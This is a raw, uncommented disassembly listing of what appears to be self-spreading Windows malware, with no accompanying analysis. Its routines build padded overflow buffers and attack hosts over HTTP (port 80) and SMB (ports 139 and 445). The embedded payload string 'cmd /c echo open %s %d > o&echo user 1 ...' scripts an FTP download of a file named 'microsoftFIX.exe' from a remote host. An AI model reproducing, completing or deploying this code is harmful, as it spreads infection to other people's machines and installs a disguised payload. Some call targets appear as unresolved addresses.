lea ecx, [ebp+var_30]
call sub_40B26B
lea ecx, [ebp+var_30]
call sub_40B346
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_417070
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40B2E5
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40B2E5
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40B2E5
lea ecx, [ebp+var_20]
call sub_40B26B
push offset loc_43F1C4
lea ecx, [ebp+var_50]
call sub_40B319
lea ecx, [ebp+var_50]
call sub_40B26B
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_417070
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40B137
lea ecx, [ebp+var_58]
call sub_40B26B
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40B382
lea ecx, [ebp+var_58]
call sub_40B1C6
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_417070
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40B319
push 4
push offset dword_43EE6C
lea ecx, [ebp+var_18]
call sub_40B2E5
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40B2E5
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40B2E5
lea ecx, [ebp+var_18]
call sub_40B26B
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40B336
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40B336
lea ecx, [ebp+var_40]
call sub_40B346
lea ecx, [ebp+var_18]
call sub_40B1C6
lea ecx, [ebp+var_50]
call sub_40B1C6
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40B336
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40B336
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40B336
lea ecx, [ebp+var_38]
call sub_40B346
lea ecx, [ebp+var_20]
call sub_40B1C6
lea ecx, [ebp+var_30]
call sub_40B1C6
lea ecx, [ebp+var_40]
call sub_40B1C6
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_417070
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40B2E5
lea ecx, [ebp+var_28]
call sub_40B26B
push 2
push offset dword_43F1D8
lea ecx, [ebp+var_28]
call sub_40B2E5
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40B336
lea ecx, [ebp+var_28]
call sub_40B346
lea ecx, [ebp+var_38]
call sub_40B1C6
lea ecx, [ebp+var_10]
call sub_40B0FF
lea ecx, [ebp+var_8]
call sub_40B0FF
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40B336
lea ecx, [ebp+var_10]
call sub_40B1DF
lea ecx, [ebp+var_28]
call sub_40B1C6
push offset dword_43F1DC
lea ecx, [ebp+var_8]
call sub_40B319
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40B336
lea ecx, [ebp+var_8]
call sub_40B1DF
lea ecx, [ebp+var_10]
call sub_40B1C6
push offset dword_43F1E0
lea ecx, [ebp+var_10]
call sub_40B319
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40B336
lea ecx, [ebp+var_10]
call sub_40B1DF
lea ecx, [ebp+var_8]
call sub_40B1C6
push offset dword_43F1E4
lea ecx, [ebp+var_8]
call sub_40B319
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40B336
lea ecx, [ebp+var_8]
call sub_40B1DF
lea ecx, [ebp+var_10]
call sub_40B1C6
push offset dword_43F1F0
lea ecx, [ebp+var_48]
call sub_40B319
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40B336
lea ecx, [ebp+var_8]
call sub_40B1C6
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40B703
; ---------------------------------------------------------------------------
loc_40B6F5: ; CODE XREF: sub_40B3A1+1Bj
; sub_40B3A1+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40B703: ; CODE XREF: sub_40B3A1+352j
pop edi
pop ebx
leave
retn
sub_40B3A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B707 proc near ; CODE XREF: sub_40B7CB+A1p
; sub_40B7CB+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call near ptr 71AB1890h
nop
cmp eax, edi
jnz short loc_40B76E
lea eax, [ebp+var_10C]
push eax
push esi
call sub_431972
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_40B772
loc_40B76E: ; CODE XREF: sub_40B707+54j
xor eax, eax
jmp short loc_40B782
; ---------------------------------------------------------------------------
loc_40B772: ; CODE XREF: sub_40B707+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_445360
loc_40B782: ; CODE XREF: sub_40B707+69j
pop edi
pop esi
leave
retn
sub_40B707 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B786 proc near ; CODE XREF: sub_40B7CB+81p
; sub_40B7CB+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_445344
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_445398
cmp eax, 4
jz short loc_40B7B0
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40B7B0: ; CODE XREF: sub_40B786+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_445398
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40B786 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B7CB proc near ; CODE XREF: sub_40B8A5+48p
; ___:0040BCDDp
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_414DB0
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40B7F4
xor al, al
jmp loc_40B8A0
; ---------------------------------------------------------------------------
loc_40B7F4: ; CODE XREF: sub_40B7CB+20j
push ebx
push 0
push esi
call sub_417070
push 2Fh
push offset dword_43EEFC
push esi
call sub_4187B0
push 8
lea eax, [esi+31h]
push offset dword_43EF2C
push eax
mov [esi+2Fh], di
call sub_4187B0
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_4187B0
push 6
add ebx, edi
push offset dword_4D6208
push ebx
call sub_4187B0
mov ebx, [ebp+arg_0]
push 85h
push offset dword_43EE74
push ebx
call sub_40B786
add esp, 48h
test al, al
jnz short loc_40B85C
loc_40B858: ; CODE XREF: sub_40B7CB+B5j
xor bl, bl
jmp short loc_40B897
; ---------------------------------------------------------------------------
loc_40B85C: ; CODE XREF: sub_40B7CB+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40B707
push [ebp+var_4]
push esi
push ebx
call sub_40B786
add esp, 1Ch
test al, al
jz short loc_40B858
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40B707
add esp, 10h
mov bl, 1
loc_40B897: ; CODE XREF: sub_40B7CB+8Fj
push esi
call sub_415820
pop ecx
mov al, bl
loc_40B8A0: ; CODE XREF: sub_40B7CB+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40B7CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B8A5 proc near ; CODE XREF: ___:0040BCC3p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_43EF38
push [ebp+arg_0]
nop
call near ptr 71AB1AF4h
cmp eax, 48h
jnz short loc_40B8E0
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40B707
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40B8E0
cmp [ebp+var_20], 82h
jz short loc_40B8E4
loc_40B8E0: ; CODE XREF: sub_40B8A5+1Bj
; sub_40B8A5+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40B8E4: ; CODE XREF: sub_40B8A5+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40B7CB
add esp, 0Ch
leave
retn
sub_40B8A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B8F7 proc near ; CODE XREF: sub_40B943+29p
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_433460
call sub_41915C
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_433458
fstp [esp+10h+var_10]
call sub_418F70
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41915C
inc eax
leave
retn
sub_40B8F7 endp
; =============== S U B R O U T I N E =======================================
sub_40B943 proc near ; CODE XREF: sub_40BABA+23p
var_40 = qword ptr -40h
mov eax, offset loc_4320BF
call sub_4197A0
sub esp, 2Ch
push esi
lea eax, [ebp-0Dh]
push edi
xor esi, esi
push eax
lea ecx, [ebp-38h]
mov [ebp-20h], esi
call sub_40BD49
push 1
pop edi
push dword ptr [ebp+10h]
mov [ebp-4], edi
call sub_40B8F7
pop ecx
push eax
lea ecx, [ebp-38h]
call sub_40BE5E
cmp [ebp+10h], esi
mov [ebp-18h], esi
jbe loc_40BA8E
push ebx
mov ebx, [ebp+10h]
loc_40B98B: ; CODE XREF: sub_40B943+144j
cmp dword ptr [ebp+10h], 3
jb short loc_40B996
push 3
loc_40B993: ; CODE XREF: sub_40B943+5Bj
pop ebx
jmp short loc_40B9A7
; ---------------------------------------------------------------------------
loc_40B996: ; CODE XREF: sub_40B943+4Cj
cmp dword ptr [ebp+10h], 2
jnz short loc_40B9A0
push 2
jmp short loc_40B993
; ---------------------------------------------------------------------------
loc_40B9A0: ; CODE XREF: sub_40B943+57j
cmp [ebp+10h], edi
jnz short loc_40B9A7
mov ebx, edi
loc_40B9A7: ; CODE XREF: sub_40B943+51j
; sub_40B943+60j
and dword ptr [ebp-24h], 0
mov [ebp-28h], ebx
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_433468
fstp [esp+40h+var_40]
call sub_419190
pop ecx
pop ecx
call sub_41915C
test ebx, ebx
mov [ebp-1Ch], eax
jbe short loc_40B9E8
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
push 1
and ecx, 3
rep movsb
pop edi
loc_40B9E8: ; CODE XREF: sub_40B943+8Aj
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
test eax, eax
mov [ebp-11h], cl
jbe short loc_40BA55
add [ebp-18h], eax
loc_40BA3A: ; CODE XREF: sub_40B943+110j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_43EF84[eax]
push eax
push edi
call sub_40BDDE
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40BA3A
loc_40BA55: ; CODE XREF: sub_40B943+F2j
cmp dword ptr [ebp-18h], 48h
jb short loc_40BA6A
push dword ptr [ebp+14h]
lea ecx, [ebp-38h]
call sub_40BDB6
and dword ptr [ebp-18h], 0
loc_40BA6A: ; CODE XREF: sub_40B943+116j
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40BA83
sub esi, [ebp-1Ch]
loc_40BA75: ; CODE XREF: sub_40B943+13Ej
push 3Dh
push edi
lea ecx, [ebp-38h]
call sub_40BDDE
dec esi
jnz short loc_40BA75
loc_40BA83: ; CODE XREF: sub_40B943+12Dj
cmp dword ptr [ebp+10h], 0
ja loc_40B98B
pop ebx
loc_40BA8E: ; CODE XREF: sub_40B943+3Ej
mov ecx, [ebp+8]
lea eax, [ebp-38h]
push eax
call sub_40BD61
mov [ebp-20h], edi
and byte ptr [ebp-4], 0
lea ecx, [ebp-38h]
call sub_40BDAE
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop edi
pop esi
mov large fs:0, ecx
leave
retn
sub_40B943 endp
; =============== S U B R O U T I N E =======================================
sub_40BABA proc near ; CODE XREF: ___:0040BCA6p
mov eax, offset loc_4320D9
call sub_4197A0
sub esp, 10h
push ebx
push esi
push edi
push offset dword_4D6214
and dword ptr [ebp-4], 0
push dword ptr [ebp+10h]
lea eax, [ebp-1Ch]
push dword ptr [ebp+0Ch]
push eax
call sub_40B943
add esp, 10h
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 1
call sub_40BE5A
lea ecx, [ebp+14h]
mov esi, eax
call sub_40BE5A
lea esi, [esi+eax+36h]
push esi
call sub_414DB0
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40BB10
xor bl, bl
jmp short loc_40BB4F
; ---------------------------------------------------------------------------
loc_40BB10: ; CODE XREF: sub_40BABA+50j
lea ecx, [ebp-1Ch]
call sub_40BE4D
push eax
lea ecx, [ebp+14h]
call sub_40BE4D
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_4172D0
add esp, 14h
push 0
push esi
push edi
push dword ptr [ebp+8]
call dword_445398
cmp eax, esi
jz short loc_40BB46
xor bl, bl
jmp short loc_40BB48
; ---------------------------------------------------------------------------
loc_40BB46: ; CODE XREF: sub_40BABA+86j
mov bl, 1
loc_40BB48: ; CODE XREF: sub_40BABA+8Aj
push edi
call sub_415820
pop ecx
loc_40BB4F: ; CODE XREF: sub_40BABA+54j
and byte ptr [ebp-4], 0
lea ecx, [ebp-1Ch]
call sub_40BDAE
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+14h]
call sub_40BDAE
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40BABA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 428h
and byte ptr [ebp-428h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-427h]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-428h]
push offset sub_43F130
push eax
call sub_4187B0
add esp, 0Ch
mov eax, offset aMicrosoftfix_e ; "microsoftFIX.exe"
push eax
push eax
movzx eax, word ptr dword_4D3010
push eax
push dword ptr [ebp+8]
call sub_40267D
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-399h]
push 400h
push eax
call sub_4172D0
add eax, 90h
push eax
lea eax, [ebp-428h]
push eax
push 164h
lea eax, [ebp-28h]
push offset sub_43EFC8
push eax
call sub_40B3A1
mov ecx, [eax]
xor ebx, ebx
mov [ebp-8], ecx
add esp, 30h
mov eax, [eax+4]
cmp eax, ebx
mov [ebp-4], eax
jnz short loc_40BC20
xor eax, eax
jmp loc_40BD2E
; ---------------------------------------------------------------------------
loc_40BC20: ; CODE XREF: ___:0040BC17j
mov [ebp-0Ch], ebx
loc_40BC23: ; CODE XREF: ___:0040BD05j
test ebx, ebx
jnz loc_40BD0B
push 6
push 1
push 2
nop
call near ptr 71AB3C22h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_40BCF3
xor eax, eax
lea edi, [ebp-1Eh]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-20h], 2
call dword_445348
mov [ebp-1Eh], ax
lea eax, [ebp+0Ch]
push eax
call dword_445388
mov [ebp-1Ch], eax
lea eax, [ebp-20h]
push 10h
push eax
push esi
call dword_4452F0
cmp eax, 0FFFFFFFFh
jz short loc_40BCE8
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40BCB0
sub esp, 10h
lea eax, [ebp-0Dh]
mov ecx, esp
mov [ebp-24h], esp
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40BD8B
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push esi
call sub_40BABA
add esp, 1Ch
jmp short loc_40BCE5
; ---------------------------------------------------------------------------
loc_40BCB0: ; CODE XREF: ___:0040BC88j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40BCCA
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push esi
call sub_40B8A5
jmp short loc_40BCE2
; ---------------------------------------------------------------------------
loc_40BCCA: ; CODE XREF: ___:0040BCBAj
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40BCE8
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push esi
call sub_40B7CB
loc_40BCE2: ; CODE XREF: ___:0040BCC8j
add esp, 0Ch
loc_40BCE5: ; CODE XREF: ___:0040BCAEj
movzx ebx, al
loc_40BCE8: ; CODE XREF: ___:0040BC7Fj
; ___:0040BCD4j
push esi
call dword_4453E0
test ebx, ebx
jnz short loc_40BCFE
loc_40BCF3: ; CODE XREF: ___:0040BC3Cj
push 3E8h
nop
call near ptr 2690599h
loc_40BCFE: ; CODE XREF: ___:0040BCF1j
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40BC23
loc_40BD0B: ; CODE XREF: ___:0040BC25j
lea ecx, [ebp-8]
call sub_40B1C6
test ebx, ebx
jz short loc_40BD2C
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_43DE40[eax]
lea eax, dword_43DE40[eax]
loc_40BD2C: ; CODE XREF: ___:0040BD15j
mov eax, ebx
loc_40BD2E: ; CODE XREF: ___:0040BC1Bj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40BD33: ; DATA XREF: ___:00436008o
call sub_40C32A
jmp $+5
push offset nullsub_1
call sub_419C90
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_40BD49 proc near ; CODE XREF: sub_40B943+1Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov al, [eax]
mov [esi], al
call sub_40C0CB
mov eax, esi
pop esi
retn 4
sub_40BD49 endp
; =============== S U B R O U T I N E =======================================
sub_40BD61 proc near ; CODE XREF: sub_40B943+152p
; sub_4314F0+3Cp ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
push 0
mov al, [edi]
mov [esi], al
call sub_40C0CB
push dword_433470
mov ecx, esi
push 0
push edi
call sub_40BEDC
mov eax, esi
pop edi
pop esi
retn 4
sub_40BD61 endp
; =============== S U B R O U T I N E =======================================
sub_40BD8B proc near ; CODE XREF: ___:0040BC9Ap
; sub_431490+27p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push 0
mov al, [eax]
mov [esi], al
call sub_40C0CB
push [esp+4+arg_0]
mov ecx, esi
call sub_40BFD2
mov eax, esi
pop esi
retn 8
sub_40BD8B endp
; =============== S U B R O U T I N E =======================================
sub_40BDAE proc near ; CODE XREF: sub_40B943+161p
; sub_40BABA+9Cp ...
push 1
call sub_40C0CB
retn
sub_40BDAE endp
; =============== S U B R O U T I N E =======================================
sub_40BDB6 proc near ; CODE XREF: sub_40B943+11Ep
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_40BDD3
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40BE72
pop esi
retn 4
sub_40BDB6 endp
; =============== S U B R O U T I N E =======================================
sub_40BDD3 proc near ; CODE XREF: sub_40BDB6+7p
; sub_40BFD2+7p
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_414BE0
pop ecx
retn
sub_40BDD3 endp
; =============== S U B R O U T I N E =======================================
sub_40BDDE proc near ; CODE XREF: sub_40B943+107p
; sub_40B943+138p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_433470
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40BDF8
call sub_431490
loc_40BDF8: ; CODE XREF: sub_40BDDE+13j
test ebx, ebx
jbe short loc_40BE2C
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40C01F
test al, al
jz short loc_40BE2C
lea eax, [esp+0Ch+arg_4]
push eax
mov eax, [esi+4]
add eax, [esi+8]
push ebx
push eax
call sub_40BE34
add esp, 0Ch
mov ecx, esi
push edi
call sub_40BFEF
loc_40BE2C: ; CODE XREF: sub_40BDDE+1Cj
; sub_40BDDE+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40BDDE endp
; =============== S U B R O U T I N E =======================================
sub_40BE34 proc near ; CODE XREF: sub_40BDDE+3Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
push [esp+arg_4]
movsx eax, byte ptr [eax]
push eax
push [esp+8+arg_0]
call sub_417070
add esp, 0Ch
retn
sub_40BE34 endp
; =============== S U B R O U T I N E =======================================
sub_40BE4D proc near ; CODE XREF: sub_40BABA+59p
; sub_40BABA+62p ...
mov eax, [ecx+4]
test eax, eax
jnz short locret_40BE59
call sub_40C0C5
locret_40BE59: ; CODE XREF: sub_40BE4D+5j
retn
sub_40BE4D endp
; =============== S U B R O U T I N E =======================================
sub_40BE5A proc near ; CODE XREF: sub_40BABA+32p
; sub_40BABA+3Cp
mov eax, [ecx+8]
retn
sub_40BE5A endp
; =============== S U B R O U T I N E =======================================
sub_40BE5E proc near ; CODE XREF: sub_40B943+33p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp [ecx+0Ch], eax
jnb short locret_40BE6F
push 0
push eax
call sub_40C01F
locret_40BE6F: ; CODE XREF: sub_40BE5E+7j
retn 4
sub_40BE5E endp
; =============== S U B R O U T I N E =======================================
sub_40BE72 proc near ; CODE XREF: sub_40BDB6+14p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_433470
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40BE8C
call sub_431490
loc_40BE8C: ; CODE XREF: sub_40BE72+13j
test ebx, ebx
jbe short loc_40BEBF
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40C01F
test al, al
jz short loc_40BEBF
mov eax, [esi+4]
push ebx
push [esp+10h+arg_0]
add eax, [esi+8]
push eax
call sub_40BEC7
add esp, 0Ch
mov ecx, esi
push edi
call sub_40BFEF
loc_40BEBF: ; CODE XREF: sub_40BE72+1Cj
; sub_40BE72+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40BE72 endp
; =============== S U B R O U T I N E =======================================
sub_40BEC7 proc near ; CODE XREF: sub_40BE72+3Dp
; sub_40BEDC+D9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4187B0
add esp, 0Ch
retn
sub_40BEC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BEDC proc near ; CODE XREF: sub_40BD61+1Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
mov esi, ecx
push edi
mov ecx, ebx
call sub_40BFCE
cmp eax, [ebp+arg_4]
jnb short loc_40BEF8
call sub_431790
loc_40BEF8: ; CODE XREF: sub_40BEDC+15j
mov ecx, ebx
call sub_40BFCE
mov edi, eax
mov eax, [ebp+arg_4]
sub edi, eax
cmp [ebp+arg_8], edi
jnb short loc_40BF0E
mov edi, [ebp+arg_8]
loc_40BF0E: ; CODE XREF: sub_40BEDC+2Dj
cmp esi, ebx
jnz short loc_40BF33
push dword_433470
add edi, eax
mov ecx, esi
push edi
call sub_40C15B
push [ebp+arg_4]
mov ecx, esi
push 0
call sub_40C15B
jmp loc_40BFC5
; ---------------------------------------------------------------------------
loc_40BF33: ; CODE XREF: sub_40BEDC+34j
test edi, edi
jbe short loc_40BF98
mov ecx, ebx
call sub_40BFCE
cmp edi, eax
jnz short loc_40BF98
mov ecx, ebx
call sub_40BE4D
push eax
mov ecx, esi
call sub_40C2B0
cmp byte ptr [eax], 0FEh
jnb short loc_40BF98
push ebx
push esi
call sub_40C315
pop ecx
test al, al
pop ecx
jz short loc_40BF98
push 1
mov ecx, esi
call sub_40C0CB
mov ecx, ebx
call sub_40BE4D
mov ecx, ebx
mov [esi+4], eax
call sub_40BFCE
mov ecx, ebx
mov [esi+8], eax
call sub_40C1E7
push dword ptr [esi+4]
mov ecx, esi
mov [esi+0Ch], eax
call sub_40C2B0
inc byte ptr [eax]
jmp short loc_40BFC5
; ---------------------------------------------------------------------------
loc_40BF98: ; CODE XREF: sub_40BEDC+59j
; sub_40BEDC+64j ...
push 1
push edi
mov ecx, esi
call sub_40C01F
test al, al
jz short loc_40BFC5
push edi
mov ecx, ebx
call sub_40BE4D
add eax, [ebp+arg_4]
push eax
push dword ptr [esi+4]
call sub_40BEC7
add esp, 0Ch
mov ecx, esi
push edi
call sub_40BFEF
loc_40BFC5: ; CODE XREF: sub_40BEDC+52j
; sub_40BEDC+BAj ...
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40BEDC endp
; =============== S U B R O U T I N E =======================================
sub_40BFCE proc near ; CODE XREF: sub_40BEDC+Dp
; sub_40BEDC+1Ep ...
mov eax, [ecx+8]
retn
sub_40BFCE endp
; =============== S U B R O U T I N E =======================================
sub_40BFD2 proc near ; CODE XREF: sub_40BD8B+18p
; sub_40C2C5+34p
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_40BDD3
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40C125
pop esi
retn 4
sub_40BFD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFEF proc near ; CODE XREF: sub_40BDDE+49p
; sub_40BE72+48p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
and [ebp+var_1], 0
mov [ecx+8], eax
mov ecx, [ecx+4]
lea edx, [ebp+var_1]
add ecx, eax
push edx
push ecx
call sub_40C012
pop ecx
pop ecx
leave
retn 4
sub_40BFEF endp
; =============== S U B R O U T I N E =======================================
sub_40C012 proc near ; CODE XREF: sub_40BFEF+18p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
mov al, [eax]
mov [ecx], al
retn
sub_40C012 endp
; =============== S U B R O U T I N E =======================================
sub_40C01F proc near ; CODE XREF: sub_40BDDE+28p
; sub_40BE5E+Cp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push ebx
push esi
push edi
mov esi, ecx
call sub_40C1D5
mov edi, [esp+0Ch+arg_0]
cmp eax, edi
jnb short loc_40C036
call sub_431490
loc_40C036: ; CODE XREF: sub_40C01F+10j
mov eax, [esi+4]
xor ebx, ebx
cmp eax, ebx
jz short loc_40C076
push eax
mov ecx, esi
call sub_40C2B0
cmp [eax], bl
jz short loc_40C076
push dword ptr [esi+4]
mov ecx, esi
call sub_40C2B0
